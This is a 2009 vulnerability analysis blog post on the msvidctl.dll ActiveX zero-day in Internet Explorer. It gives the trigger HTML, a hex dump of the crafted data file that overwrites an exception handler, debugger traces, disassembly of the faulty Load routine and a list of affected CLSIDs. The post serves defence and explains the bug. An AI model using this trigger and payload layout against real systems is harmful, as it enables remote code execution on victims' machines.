Microsoft Video ActiveX Control 0day Technical Details * By Cody Pierce * Thu 09 Jul 2009 18:09pm As reports came out regarding the new Microsoft 0day[1] in msvidctl.dll I started to take interest, as information about the specifics of the vulnerability were nonexistent. I was curious about the origin of the issue, what is required to trigger it, whether it is only present in the MPEG2TuneRequest interface, and what other CLSIDs may be affected (besides the 40+ they kill in their advisory). When dealing with 0day we must be aware of very specific details of a vulnerability so we can properly protect ourselves. Grabbing a copy of the exploit from one of the many sites publicly reporting the issue I narrowed down the needed html to trigger the vulnerability. var myObject=document.createElement('object'); myObject.data='logo.gif'; myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; Everything else in the exploit is unrelated to the actual vulnerability. The heap fill is for exploitation, and the height and width properties are unnecessary. This can also be written using a single line of html. Let's take a look at what the data property is since it appears to be responsible for triggering the vulnerability. From the w3c HTML 4.0 documentation[2]. The data property is used to specify a URL to the object's persistent data. In the exploit it is named "logo.gif", but in reality it can be named anything, and does not follow any particular file format. Instead, it contains data the object can reference upon instantiation. This feature exists so programmers can save and restore data to an object across uses. The contents of this file follow. 0000h 00 03 00 00 11 20 34 00 00 00 00 00 00 00 00 00 0010h 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0020h 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0030h 00 00 00 00 00 00 FF FF FF FF 0C 0C 0C 0C 00 We can infer, before we even run the exploit, that the problem is in the handling of this data. We can verify this by running the PoC with a debugger attached to Internet Explorer. (7ec.2e0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000 eip=0c0c0c0c esp=018a8de8 ebp=018a8e08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +0xc0c0c0b: 0c0c0c0c ?? ??? 0:005> !exchain 018a91dc: +c0c0c0b (0c0c0c0c) Invalid exception stack at ffffffff 0:005> dc 018a91dc L2 018a91dc ffffffff 0c0c0c0c ........ Looking again at the data we supply to the myObject.data property we can deduce that the bytes from offset 0x36 are used to overwrite an exception chain entry, allowing for code execution. But is this a stack overflow? Short answer kind of, but not like you may be thinking. The vulnerability lies in the ATL template interface IPersistStreamInit[3], specifically the Load method. Without going into excruciating detail the class allows a developer to use persistent storage in their COM object. By implementing this interface the COM object can save and load persistent data passed by URL to the .data property. Since the vulnerability is in the template, other interfaces (and CLSID's) might be vulnerable besides the one being exploited in the wild. The following lists those CLSIDs using this vulnerable template within msvidctl.dll. Please note that this template might be used in other controls outside of msvidctl.dll. {0369B4E6-45B6-11D3-B650-00C04F79498E} {A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE} {8872FF1B-98FA-4D7A-8D93-C9F1055F85BB} {A2E30750-6C3D-11D3-B653-00C04F79498E} {8A674B4C-1F63-11D3-B64C-00C04F79498E} {8A674B4D-1F63-11D3-B64C-00C04F79498E} {F9769A06-7ACA-4E39-9CFB-97BB35F0E77E} {0369B4E5-45B6-11D3-B650-00C04F79498E} {59DC47A8-116C-11D3-9D8E-00C04F72D980} {823535A0-0318-11D3-9D8E-00C04F72D980} {C531D9FD-9685-4028-8B68-6E1232079F1E} {1DF7D126-4050-47F0-A7CF-4C4CA9241333} {B64016F3-C9A2-4066-96F0-BD9563314726} {9CD64701-BDF3-4D14-8E03-F12983D86664} {C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7} {15D6504A-5494-499C-886C-973C9E53B9F1} {1BE49F30-0E1B-11D3-9D8E-00C04F72D980} {055CB2D7-2969-45CD-914B-76890722F112} {418008F3-CF67-4668-9628-10DC52BE1D08} {0955AC62-BF2E-4CBA-A2B9-A63F772D46CF} {B0EDF163-910A-11D2-B632-00C04F79498E} Microsoft has taken extra steps to fix the issue by providing a comprehensive list of CLSIDs that should be prevented from loading in the browser. This list can be found in their advisory and Fix It packages and includes my list above amongst others. We talked to Microsoft and they confirmed that the advisory and Fix It package both cover all known CLSIDs that can reach code in a vulnerable manner. As mentioned the problem manifests itself within the Load method of the interface. The Load method has the following prototype. HRESULT WINAPI AtlIPersistStreamInit_Load( LPSTREAM ppvData, ATL_PROPMAP_ENTRY *pMap, void *pThis, IUnknown *pUnk) The function first reads 4 bytes from the stream pointer, which returns the 0x00000300 from our file and ensures it is not greater than 0x0300. This tells us the first 4 bytes in the persistent data ("logo.gif") can be anything less than that value. We then process the ATL::ATL_PROPMAP_ENTRY of the implementor's interface, finally resulting in the following code. .text:5A1BD4CE push [ebp+ppvData] .text:5A1BD4D1 lea ecx, [ebp+pvarg] .text:5A1BD4D4 call ATL::CComVariant::ReadFromStream(IStream *) ReadFromStream will take a stream object and read the contents based on their variant type[4], and associated data. This begins by reading the variant type from the next 2 bytes of our data file (0x2011 = VT_ARRAY & VT_BOOL). We then branch to the proper code for handling arrays of booleans. .text:5A1BD6DC cmp eax, 2011h .text:5A1BD6E1 jnz loc_5A1BD76B ; default Since the vulnerable code is only reachable when processing this data type we can be assured it is a good indication the vulnerability will be triggered. The code responsible for this type then reads 8 more bytes from our stream (0x00000000000000034) and calls SafeArrayCreate[5] with 0x00000034 as the size of an element in the array. Finally we reach the following two basic blocks .text:5A1BD732 lea eax, [ebp+ppvData] .text:5A1BD735 push eax ; ppvData .text:5A1BD736 push ebx ; psa .text:5A1BD737 call ds:SafeArrayAccessData(x,x) .text:5A1BD73D test eax, eax .text:5A1BD73F jl short loc_5A1BD7BD .text:5A1BD741 mov eax, [edi] .text:5A1BD743 push 0 .text:5A1BD745 push [ebp+var_28_array_size] .text:5A1BD748 lea ecx, [ebp+ppvData] .text:5A1BD74B push ecx .text:5A1BD74C push edi .text:5A1BD74D call dword ptr [eax+0Ch] ; mshtml!FatStream::Read In the first basic block we see the use of our stream pointer *correctly*. The function SafeArrayAccessData takes a pointer to a pointer. We see the address of our argument being loaded into eax which will then get double dereferenced by the function. What happens in the vulnerable basic block starting at 0x5A1BD741 is a programmer's error. The programmer mistakenly thought the mshtml!FatStream::Read function needs a pointer to a pointer like SafeArrayAccessData, when in fact it just needs a single pointer. This means our data is getting written to the stack, instead of being written to the allocated space the pointer points to. Let's look at this in motion. 5a1bd743 push 0 5a1bd745 push dword ptr [ebp-28h] ss:0023:018a9184=00000034 5a1bd748 lea ecx,[ebp+8] 5a1bd74b push ecx ; ecx=018a91b4 5a1bd74c push edi 5a1bd74d call dword ptr [eax+0Ch] ds:0023:3ed10fb8={mshtml!FatStream::Read (3ed9c14b)} We can see our data at ecx contains a pointer that is supposed to be dereferenced. 0:005> dc 018a91b4 018a91b4 00232878* 5a19d094 5a19d094 5a2a1ec8 x(#....Z...Z..*Z 018a91c4 00002011 00000000 00000000 00000000 . .............. 018a91d4 5a2a1f28 00000000 018a9228 5a27730e (.*Z....(....s'Z 018a91e4 00000001 018a9234 5a1bd46e 02249e10 ....4...n..Z..$. Before we execute FatStream::Read lets examine the SEH chain. 0:005> !exchain 018a91a0: msvidctl!SHATransformNS+1265 (5a277325) 018a91dc: msvidctl!SHATransformNS+124e (5a27730e) 018a9228: msvidctl!SHATransformNS+124e (5a27730e) ... Because each function we enter adds a new exception handler on the stack via a call to __EH_prolog we are only 0x28 bytes from overwriting the second exception handler 0x018a91dc. We can guess how this will unfold once we step over the Read. 5a1bd74d call dword ptr [eax+0Ch] ds:0023:3ed10fb8={mshtml!FatStream::Read (3ed9c14b)} 5a1bd750 push ebx 0:005> dc 018a91b4 018a91b4 00000000 00000000 00000000 00000000 ................ 018a91c4 00000000 00000000 00000000 00000000 ................ 018a91d4 00000000 00000000 ffffffff 0c0c0c0c ................ 0:005> !exchain 018a91a0: msvidctl!SHATransformNS+1265 (5a277325) 018a91dc: +c0c0c0b (0c0c0c0c) <--- User Data The user controlled file supplied as persistent storage has been copied to the stack ultimately overwriting an exception handler. This is where arbitrary code execution is gained. By writing a heap fillable address to the SEH chain the attacker simply stuffs shellcode into Internet Explorer's memory, executing it with great reliability. This is not your typical stack overflow vulnerability. What we see here is the improper use of a pointer argument to a function that unfortunately results in remote code execution. Maybe the programmer responsible for this error had a long night, or maybe it's a simple typo. I hope this has been helpful and technically interesting. Please go out and kill-bit Microsoft's suggested class ids. -Cody References: [1] http://www.microsoft.com/technet/security/advisory/972890.mspx [2] http://www.w3.org/TR/1998/REC-html40-19980424/struct/objects.html#h-13.3 [3] http://msdn.microsoft.com/en-us/library/ms682273%28VS.85%29.aspx [4] http://msdn.microsoft.com/en-us/library/ms897140.aspx [5] http://msdn.microsoft.com/en-us/library/ms893380.aspx Tags: Published On: 2009-07-09 18:09:06